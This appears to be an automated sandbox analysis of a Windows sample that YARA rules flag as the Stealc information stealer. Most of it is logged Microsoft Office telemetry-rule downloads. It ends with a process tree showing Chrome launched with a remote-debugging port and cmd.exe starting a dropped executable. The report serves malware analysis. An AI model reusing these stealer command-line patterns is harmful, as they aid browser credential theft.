2024-11-12 14:42:07 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 75018b07-801e-00a0-22a6-342196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144207Z-15869dbbcc6j87jfhC1DFWr0yc000000083g000000006sym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:07 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:07 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:07 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ec03aeec-b01e-005c-7ba1-344c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144207Z-17df447cdb5jg4kthC1DFW6vy000000000ng00000000119g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 14:42:07 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:07 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:08 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e718dad-301e-0051-6df1-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144208Z-16547b76f7f7scqbhC1DFW0m5w0000000fq00000000057y4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:08 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:08 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:08 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 47d81796-701e-0021-2403-2d3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144208Z-16547b76f7fdtmzhhC1DFW6zhc00000004s00000000021ku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:08 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:08 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:09 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d33f60ae-f01e-0085-74ec-2b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144209Z-16547b76f7fx6rhxhC1DFW76kg0000000fng00000000hw1p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:09 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:09 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:09 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:09 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144209Z-16547b76f7fkcrm9hC1DFWxdag0000000fvg00000000c0q2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:09 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:09 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:09 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144209Z-16547b76f7fdtmzhhC1DFW6zhc00000004qg0000000076wz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:10 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:10 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:10 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:10 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: c6b44c52-001e-0028-1ef0-2cc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144210Z-16547b76f7f7jnp2hC1DFWfc300000000ftg00000000c05y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:10 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:10 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:10 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144210Z-16547b76f7f7rtshhC1DFWrtqn0000000frg00000000fa68 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:11 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:11 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:11 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 1d5973b4-701e-0050-2a24-326767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144211Z-16547b76f7f67wxlhC1DFWah9w0000000fsg000000009ua5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:11 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:25 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:25 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6d06536c-d01e-005a-3ca0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144225Z-15869dbbcc6rzfwxhC1DFWrkb00000000b6g000000009q8n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Target ID:	0
Start time:	09:40:58
Start date:	12/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x1d0000
File size:	1'825'280 bytes
MD5 hash:	BC37773BB9AB9C72DED7535B8CAC8B6F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1980746519.00000000001D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1661477949.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1987019015.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:41:05
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:41:06
Start date:	12/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2360,i,6398929871605590170,10744528980538309104,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:41:26
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJKEBGHJKF.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
